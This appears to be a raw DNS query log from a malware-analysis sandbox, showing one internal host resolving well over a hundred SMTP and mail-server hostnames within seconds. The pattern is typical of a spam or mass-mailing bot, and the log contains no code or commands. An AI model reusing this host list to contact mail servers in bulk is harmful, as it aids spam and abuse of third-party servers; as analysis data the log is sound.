May 19, 2024 17:27:39.292527914 CEST	192.168.2.4	1.1.1.1	0xc387	Standard query (0)	rogers.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.292654037 CEST	192.168.2.4	1.1.1.1	0x2bd1	Standard query (0)	tinyworld.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.293884039 CEST	192.168.2.4	1.1.1.1	0xb50b	Standard query (0)	mx.talktalk.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.294131041 CEST	192.168.2.4	1.1.1.1	0xc71b	Standard query (0)	securesmtp.segpllc.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.294847965 CEST	192.168.2.4	1.1.1.1	0x53a4	Standard query (0)	mail.escolamodernadeidiomas.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.295269966 CEST	192.168.2.4	1.1.1.1	0xf564	Standard query (0)	mail.windstream.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.295623064 CEST	192.168.2.4	1.1.1.1	0xfe33	Standard query (0)	mail.curfewfiresafety.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.388926983 CEST	192.168.2.4	1.1.1.1	0x5a7d	Standard query (0)	smtp.breakdesign.com.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.389049053 CEST	192.168.2.4	1.1.1.1	0xa634	Standard query (0)	secure.ilike.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.389235020 CEST	192.168.2.4	1.1.1.1	0xd2a2	Standard query (0)	smtp.alexlee-music.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.390546083 CEST	192.168.2.4	1.1.1.1	0xc8e	Standard query (0)	smtp.shaw.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.510771036 CEST	192.168.2.4	1.1.1.1	0x330	Standard query (0)	secure.coelhosom.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.511862040 CEST	192.168.2.4	1.1.1.1	0x8940	Standard query (0)	mx.ayutthayathai.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.512464046 CEST	192.168.2.4	1.1.1.1	0x8ffa	Standard query (0)	irda.pl	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.514107943 CEST	192.168.2.4	1.1.1.1	0x579a	Standard query (0)	securesmtp.catsmeowgroomingspa.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.596755981 CEST	192.168.2.4	1.1.1.1	0xa72c	Standard query (0)	viha.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.598810911 CEST	192.168.2.4	1.1.1.1	0x110a	Standard query (0)	smtp.alunova.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.603604078 CEST	192.168.2.4	1.1.1.1	0x7374	Standard query (0)	mdjev.brandenburg.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.605382919 CEST	192.168.2.4	1.1.1.1	0xbe9f	Standard query (0)	securesmtp.hamdmadetour.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.738553047 CEST	192.168.2.4	1.1.1.1	0x5ce4	Standard query (0)	joyrex.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.804143906 CEST	192.168.2.4	1.1.1.1	0x521a	Standard query (0)	mail.interfree.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.804728031 CEST	192.168.2.4	1.1.1.1	0xf845	Standard query (0)	mail.baritextilemills.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.805448055 CEST	192.168.2.4	1.1.1.1	0x9deb	Standard query (0)	smtp.mta.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.928232908 CEST	192.168.2.4	1.1.1.1	0x9728	Standard query (0)	securesmtp.clubinternet.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.929138899 CEST	192.168.2.4	1.1.1.1	0xc005	Standard query (0)	mx1-eu1.ppe-hosted.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:39.929830074 CEST	192.168.2.4	1.1.1.1	0x2492	Standard query (0)	smtp.citromail.hu	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.007472038 CEST	192.168.2.4	1.1.1.1	0x4d71	Standard query (0)	c-line.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.008857012 CEST	192.168.2.4	1.1.1.1	0x9b90	Standard query (0)	smtp.nerdheaven.dk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.010762930 CEST	192.168.2.4	1.1.1.1	0x69b3	Standard query (0)	i.softbank.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.011673927 CEST	192.168.2.4	1.1.1.1	0x54c2	Standard query (0)	mail.ile.osaka-u.ac.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.012140989 CEST	192.168.2.4	1.1.1.1	0xb2c1	Standard query (0)	eyou.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.012504101 CEST	192.168.2.4	1.1.1.1	0xe251	Standard query (0)	secure.protocallmcs.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.092286110 CEST	192.168.2.4	1.1.1.1	0xcac1	Standard query (0)	smtp.ilski.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.092510939 CEST	192.168.2.4	1.1.1.1	0x19c2	Standard query (0)	out.berging.se	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.230544090 CEST	192.168.2.4	1.1.1.1	0x5065	Standard query (0)	securesmtp.lexie.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.231596947 CEST	192.168.2.4	1.1.1.1	0x979c	Standard query (0)	secure.avenirtc.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.288424969 CEST	192.168.2.4	1.1.1.1	0xb891	Standard query (0)	yaho.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.290256023 CEST	192.168.2.4	1.1.1.1	0x1488	Standard query (0)	out.paradoxismical.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.291399956 CEST	192.168.2.4	1.1.1.1	0x3088	Standard query (0)	smtp.telenet.be	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.291589975 CEST	192.168.2.4	1.1.1.1	0x9915	Standard query (0)	securesmtp.toolbarie.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.381441116 CEST	192.168.2.4	1.1.1.1	0x5a7d	Standard query (0)	smtp.breakdesign.com.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.385924101 CEST	192.168.2.4	1.1.1.1	0x9586	Standard query (0)	smtp.telering.at	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.386795044 CEST	192.168.2.4	1.1.1.1	0x3a3c	Standard query (0)	out.romig.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.387712955 CEST	192.168.2.4	1.1.1.1	0xae76	Standard query (0)	mail.fixingwindows8.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.388475895 CEST	192.168.2.4	1.1.1.1	0x791c	Standard query (0)	pbxxcv.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.388667107 CEST	192.168.2.4	1.1.1.1	0xd88c	Standard query (0)	secure.ktf.biglobene.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.388906956 CEST	192.168.2.4	1.1.1.1	0x1255	Standard query (0)	out.rloy.bb4u.ne.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.516714096 CEST	192.168.2.4	1.1.1.1	0xa3c7	Standard query (0)	securesmtp.rossettschool.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.517393112 CEST	192.168.2.4	1.1.1.1	0x49fa	Standard query (0)	smtp.ns.sympatico.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.517692089 CEST	192.168.2.4	1.1.1.1	0xd2c3	Standard query (0)	out.gilgenmann.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.517692089 CEST	192.168.2.4	1.1.1.1	0x2310	Standard query (0)	mail.mitsubishimm.cn	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.517993927 CEST	192.168.2.4	1.1.1.1	0xea86	Standard query (0)	burns-group.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.629206896 CEST	192.168.2.4	1.1.1.1	0x55f1	Standard query (0)	securesmtp.migoz.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.738334894 CEST	192.168.2.4	1.1.1.1	0x7225	Standard query (0)	securesmtp.alcatel-lucent.se	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.738826036 CEST	192.168.2.4	1.1.1.1	0xf1fd	Standard query (0)	cleveleyscarpetcentre.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.739048958 CEST	192.168.2.4	1.1.1.1	0x30c5	Standard query (0)	smtp.centrum.cz	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.739259005 CEST	192.168.2.4	1.1.1.1	0x93ce	Standard query (0)	mail.orientknits.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.739454985 CEST	192.168.2.4	1.1.1.1	0xb4f2	Standard query (0)	mail.mwopa.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.812716007 CEST	192.168.2.4	1.1.1.1	0xa2a0	Standard query (0)	lycos.co.kr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.813611031 CEST	192.168.2.4	1.1.1.1	0xd06c	Standard query (0)	securesmtp.weldre4.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.914586067 CEST	192.168.2.4	1.1.1.1	0xff47	Standard query (0)	smtp.ahou.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.914963007 CEST	192.168.2.4	1.1.1.1	0x35e4	Standard query (0)	king-se.mx2.staysecuregroup.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.915204048 CEST	192.168.2.4	1.1.1.1	0x3da2	Standard query (0)	smtp.stilnovoserramentieporte.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:40.916081905 CEST	192.168.2.4	1.1.1.1	0xca30	Standard query (0)	secure.commeuneevidence.be	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.057712078 CEST	192.168.2.4	1.1.1.1	0x6ac6	Standard query (0)	tut.by	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.058089018 CEST	192.168.2.4	1.1.1.1	0x734c	Standard query (0)	mab.com.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.058711052 CEST	192.168.2.4	1.1.1.1	0xc43	Standard query (0)	mail.biglobe.ne.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.058868885 CEST	192.168.2.4	1.1.1.1	0x5255	Standard query (0)	mail.iscolorado.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.059145927 CEST	192.168.2.4	1.1.1.1	0xc7c9	Standard query (0)	alt2.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.184784889 CEST	192.168.2.4	1.1.1.1	0xf549	Standard query (0)	deltanegocios.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.185025930 CEST	192.168.2.4	1.1.1.1	0xaa99	Standard query (0)	mail.transformational-healing.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.185250998 CEST	192.168.2.4	1.1.1.1	0xd0a5	Standard query (0)	walla.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.185702085 CEST	192.168.2.4	1.1.1.1	0x97f7	Standard query (0)	secure.nantherm.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.185956955 CEST	192.168.2.4	1.1.1.1	0x3271	Standard query (0)	securesmtp.ktfds.co.kr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.186707973 CEST	192.168.2.4	1.1.1.1	0x552	Standard query (0)	smtp.virginmedia.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.272418022 CEST	192.168.2.4	1.1.1.1	0x65d3	Standard query (0)	secure.koenig24.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.272887945 CEST	192.168.2.4	1.1.1.1	0x70a7	Standard query (0)	innovationedge.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.273325920 CEST	192.168.2.4	1.1.1.1	0x7bb1	Standard query (0)	smtp.mtctickets.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.273910999 CEST	192.168.2.4	1.1.1.1	0x873f	Standard query (0)	smtp.infinito.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.363106012 CEST	192.168.2.4	1.1.1.1	0x1467	Standard query (0)	autograf.pl	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.363332033 CEST	192.168.2.4	1.1.1.1	0x3a42	Standard query (0)	mail.nakazdlihealth.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.396595955 CEST	192.168.2.4	1.1.1.1	0x1255	Standard query (0)	out.rloy.bb4u.ne.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.479897976 CEST	192.168.2.4	1.1.1.1	0x6d77	Standard query (0)	smtp.czjuning.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.480154037 CEST	192.168.2.4	1.1.1.1	0x849a	Standard query (0)	mta2.spin.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.480370998 CEST	192.168.2.4	1.1.1.1	0x80a	Standard query (0)	mail.optonline.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.480597973 CEST	192.168.2.4	1.1.1.1	0xd7ed	Standard query (0)	pec.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.480671883 CEST	192.168.2.4	1.1.1.1	0xd873	Standard query (0)	out.abcearlylearning.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.480799913 CEST	192.168.2.4	1.1.1.1	0x6486	Standard query (0)	smtp.skiffmed.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.594147921 CEST	192.168.2.4	1.1.1.1	0x9d3b	Standard query (0)	smtp.emailn.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.594321966 CEST	192.168.2.4	1.1.1.1	0x1c61	Standard query (0)	semcodar.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.594388008 CEST	192.168.2.4	1.1.1.1	0xb3a8	Standard query (0)	out.cynergiegroup.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.594584942 CEST	192.168.2.4	1.1.1.1	0x3f3c	Standard query (0)	smtp.freemail.hu	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.698930979 CEST	192.168.2.4	1.1.1.1	0xcdad	Standard query (0)	prusales.com.kh	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.699173927 CEST	192.168.2.4	1.1.1.1	0x5e08	Standard query (0)	mail.dk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.699384928 CEST	192.168.2.4	1.1.1.1	0x451d	Standard query (0)	securesmtp.riepcanada.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.699609041 CEST	192.168.2.4	1.1.1.1	0x9ed3	Standard query (0)	b9fire.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.795902014 CEST	192.168.2.4	1.1.1.1	0xe571	Standard query (0)	mail.kovemech.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.796293020 CEST	192.168.2.4	1.1.1.1	0x9934	Standard query (0)	securesmtp.luismsantos.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.796792984 CEST	192.168.2.4	1.1.1.1	0x82d0	Standard query (0)	securesmtp.prifoods.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.797583103 CEST	192.168.2.4	1.1.1.1	0x9877	Standard query (0)	coitt.es	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.798109055 CEST	192.168.2.4	1.1.1.1	0xcb07	Standard query (0)	box.ua	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.912458897 CEST	192.168.2.4	1.1.1.1	0x61ca	Standard query (0)	securesmtp.syxx.cn	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.912535906 CEST	192.168.2.4	1.1.1.1	0x7928	Standard query (0)	smtp.kpnmail.nl	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.912878036 CEST	192.168.2.4	1.1.1.1	0xa0cf	Standard query (0)	smtp.scpa.com.ph	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.912914991 CEST	192.168.2.4	1.1.1.1	0x144b	Standard query (0)	securesmtp.kevinhamstra.nl	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.913158894 CEST	192.168.2.4	1.1.1.1	0xd159	Standard query (0)	mail.gbsmarketing.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.913192987 CEST	192.168.2.4	1.1.1.1	0x23d1	Standard query (0)	nuclearit.com.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.913436890 CEST	192.168.2.4	1.1.1.1	0xb49e	Standard query (0)	mx192.mb1p.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:41.913779974 CEST	192.168.2.4	1.1.1.1	0x8f7a	Standard query (0)	mx3.fuse.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.026045084 CEST	192.168.2.4	1.1.1.1	0xfb6b	Standard query (0)	out.univesco.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.152899027 CEST	192.168.2.4	1.1.1.1	0xf5d9	Standard query (0)	out.superbockgroup.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.153124094 CEST	192.168.2.4	1.1.1.1	0x3501	Standard query (0)	mail.fevacszfg.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.153708935 CEST	192.168.2.4	1.1.1.1	0x9d87	Standard query (0)	out.leadlocal.net	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.153940916 CEST	192.168.2.4	1.1.1.1	0x558b	Standard query (0)	mxa.mailgun.org	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.154134035 CEST	192.168.2.4	1.1.1.1	0x29fd	Standard query (0)	mail.xxjouhxiwrft.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.154525995 CEST	192.168.2.4	1.1.1.1	0xe559	Standard query (0)	brtph8a0.bnr.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.154870987 CEST	192.168.2.4	1.1.1.1	0x209c	Standard query (0)	secure.midway.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.207545042 CEST	192.168.2.4	1.1.1.1	0xca3e	Standard query (0)	stu.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.208353996 CEST	192.168.2.4	1.1.1.1	0xd33d	Standard query (0)	aerosafe.ae	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.209758043 CEST	192.168.2.4	1.1.1.1	0xc6a9	Standard query (0)	mail.optusnet.copm.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.210462093 CEST	192.168.2.4	1.1.1.1	0x631f	Standard query (0)	smtp.illustratoren.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.337523937 CEST	192.168.2.4	1.1.1.1	0x18ff	Standard query (0)	mail.memoryjoggingpuzzles.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.338077068 CEST	192.168.2.4	1.1.1.1	0x90d5	Standard query (0)	out.julianvidal.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.338665962 CEST	192.168.2.4	1.1.1.1	0x907d	Standard query (0)	smtp.hsdp.gov.co	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.342070103 CEST	192.168.2.4	1.1.1.1	0xc4b4	Standard query (0)	mail.palmsoft.sk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.481188059 CEST	192.168.2.4	1.1.1.1	0x2bd7	Standard query (0)	eizoks.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.481416941 CEST	192.168.2.4	1.1.1.1	0x957b	Standard query (0)	mail.inbox.lv	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.481966019 CEST	192.168.2.4	1.1.1.1	0x1e32	Standard query (0)	out.miraclestone.com.br	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.482068062 CEST	192.168.2.4	1.1.1.1	0xb876	Standard query (0)	smtp.gsr-technology.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.644985914 CEST	192.168.2.4	1.1.1.1	0xedbc	Standard query (0)	mail.unitel.es	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.645220041 CEST	192.168.2.4	1.1.1.1	0xee16	Standard query (0)	alt4.aspmx.l.google.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.645431042 CEST	192.168.2.4	1.1.1.1	0xf02d	Standard query (0)	gestaerkt.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.645618916 CEST	192.168.2.4	1.1.1.1	0xff28	Standard query (0)	secure.conestogac.on.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.645812988 CEST	192.168.2.4	1.1.1.1	0xc459	Standard query (0)	secure.samaila.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.647839069 CEST	192.168.2.4	1.1.1.1	0xdff2	Standard query (0)	maize.com.ua	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.746016026 CEST	192.168.2.4	1.1.1.1	0x3722	Standard query (0)	mx1.telecable.es	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.746373892 CEST	192.168.2.4	1.1.1.1	0x4751	Standard query (0)	thecowellfamily.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.746673107 CEST	192.168.2.4	1.1.1.1	0x898d	Standard query (0)	mail.lloydbolam.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.746779919 CEST	192.168.2.4	1.1.1.1	0xff39	Standard query (0)	out.tim-conseil.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.787686110 CEST	192.168.2.4	1.1.1.1	0x82d0	Standard query (0)	securesmtp.prifoods.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.861481905 CEST	192.168.2.4	1.1.1.1	0xa87d	Standard query (0)	noos.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.861932993 CEST	192.168.2.4	1.1.1.1	0xc220	Standard query (0)	secure.robnicholson.me.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.861973047 CEST	192.168.2.4	1.1.1.1	0x2e43	Standard query (0)	smtp.ntlworld.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:42.956664085 CEST	192.168.2.4	1.1.1.1	0x1ab8	Standard query (0)	smtp.unionsrl.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.079226971 CEST	192.168.2.4	1.1.1.1	0xd47f	Standard query (0)	maidsnmore.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.082905054 CEST	192.168.2.4	1.1.1.1	0x9264	Standard query (0)	persona.ca	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.129225016 CEST	192.168.2.4	1.1.1.1	0xc738	Standard query (0)	mail.ycc.org.tw	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.133786917 CEST	192.168.2.4	1.1.1.1	0xe783	Standard query (0)	out.ka-hjemmesider.dk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.232615948 CEST	192.168.2.4	1.1.1.1	0xcda1	Standard query (0)	vheaved.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.232667923 CEST	192.168.2.4	1.1.1.1	0x8788	Standard query (0)	afghan24.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.334616899 CEST	192.168.2.4	1.1.1.1	0x18ff	Standard query (0)	mail.memoryjoggingpuzzles.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.344357967 CEST	192.168.2.4	1.1.1.1	0x4f51	Standard query (0)	smtp.ba.daiichisankyo.co.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.451492071 CEST	192.168.2.4	1.1.1.1	0xe3a0	Standard query (0)	smtp.bindifencing.com.au	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.538052082 CEST	192.168.2.4	1.1.1.1	0x8c7e	Standard query (0)	mail.gjpipe.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.640291929 CEST	192.168.2.4	1.1.1.1	0xe994	Standard query (0)	smtp.heartsaver.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.640614033 CEST	192.168.2.4	1.1.1.1	0x8420	Standard query (0)	securesmtp.govi1.191.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.640654087 CEST	192.168.2.4	1.1.1.1	0xf91f	Standard query (0)	out.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.744698048 CEST	192.168.2.4	1.1.1.1	0x79ae	Standard query (0)	smtp.email.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.856374979 CEST	192.168.2.4	1.1.1.1	0x3c8c	Standard query (0)	secure.marical.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:43.998437881 CEST	192.168.2.4	1.1.1.1	0xd318	Standard query (0)	out.iasu.co.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.350503922 CEST	192.168.2.4	1.1.1.1	0x18ff	Standard query (0)	mail.memoryjoggingpuzzles.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.379149914 CEST	192.168.2.4	1.1.1.1	0xb7a3	Standard query (0)	interia.eu	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.469243050 CEST	192.168.2.4	1.1.1.1	0xa220	Standard query (0)	mailinator.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.469480038 CEST	192.168.2.4	1.1.1.1	0x66bb	Standard query (0)	out.delord.pl	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.593337059 CEST	192.168.2.4	1.1.1.1	0x8b18	Standard query (0)	correo.ugr.es	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.593641996 CEST	192.168.2.4	1.1.1.1	0xbfb7	Standard query (0)	secure.soulether.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.688322067 CEST	192.168.2.4	1.1.1.1	0xdba8	Standard query (0)	smtp.st.tcedu.tw	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.744918108 CEST	192.168.2.4	1.1.1.1	0xbdef	Standard query (0)	out.lbsenter.no	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.841259003 CEST	192.168.2.4	1.1.1.1	0xc6b3	Standard query (0)	mail.yangjing.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:44.841795921 CEST	192.168.2.4	1.1.1.1	0xc852	Standard query (0)	mail.absamail.co.za	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.105413914 CEST	192.168.2.4	1.1.1.1	0xc7e8	Standard query (0)	smtp.ezweb.ne.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.182552099 CEST	192.168.2.4	1.1.1.1	0x20ef	Standard query (0)	securesmtp.uk.vwr.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.473875999 CEST	192.168.2.4	1.1.1.1	0x98d0	Standard query (0)	mail.ecotener.fr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.476285934 CEST	192.168.2.4	1.1.1.1	0x3d36	Standard query (0)	5x2.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.476864100 CEST	192.168.2.4	1.1.1.1	0x25ad	Standard query (0)	korea.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.534859896 CEST	192.168.2.4	1.1.1.1	0xcc6f	Standard query (0)	securesmtp.lycos.it	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.535132885 CEST	192.168.2.4	1.1.1.1	0x1b10	Standard query (0)	smtp.ice.co.cr	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.678174973 CEST	192.168.2.4	1.1.1.1	0xdba8	Standard query (0)	smtp.st.tcedu.tw	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.844882965 CEST	192.168.2.4	1.1.1.1	0x3591	Standard query (0)	sinotechltd.co.uk	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.845017910 CEST	192.168.2.4	1.1.1.1	0x3164	Standard query (0)	tiscali.cz	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.986140013 CEST	192.168.2.4	1.1.1.1	0x7e44	Standard query (0)	smtp.mv-hallstadt.de	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:45.986375093 CEST	192.168.2.4	1.1.1.1	0x5384	Standard query (0)	securesmtp.thebusiness6.com	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.082077980 CEST	192.168.2.4	1.1.1.1	0x6c07	Standard query (0)	out.kk-class.co.jp	A (IP address)	IN (0x0001)	false
May 19, 2024 17:27:46.182526112 CEST	192.168.2.4	1.1.1.1	0xc912	Standard query (0)	smtp.riri.com	A (IP address)	IN (0x0001)	false
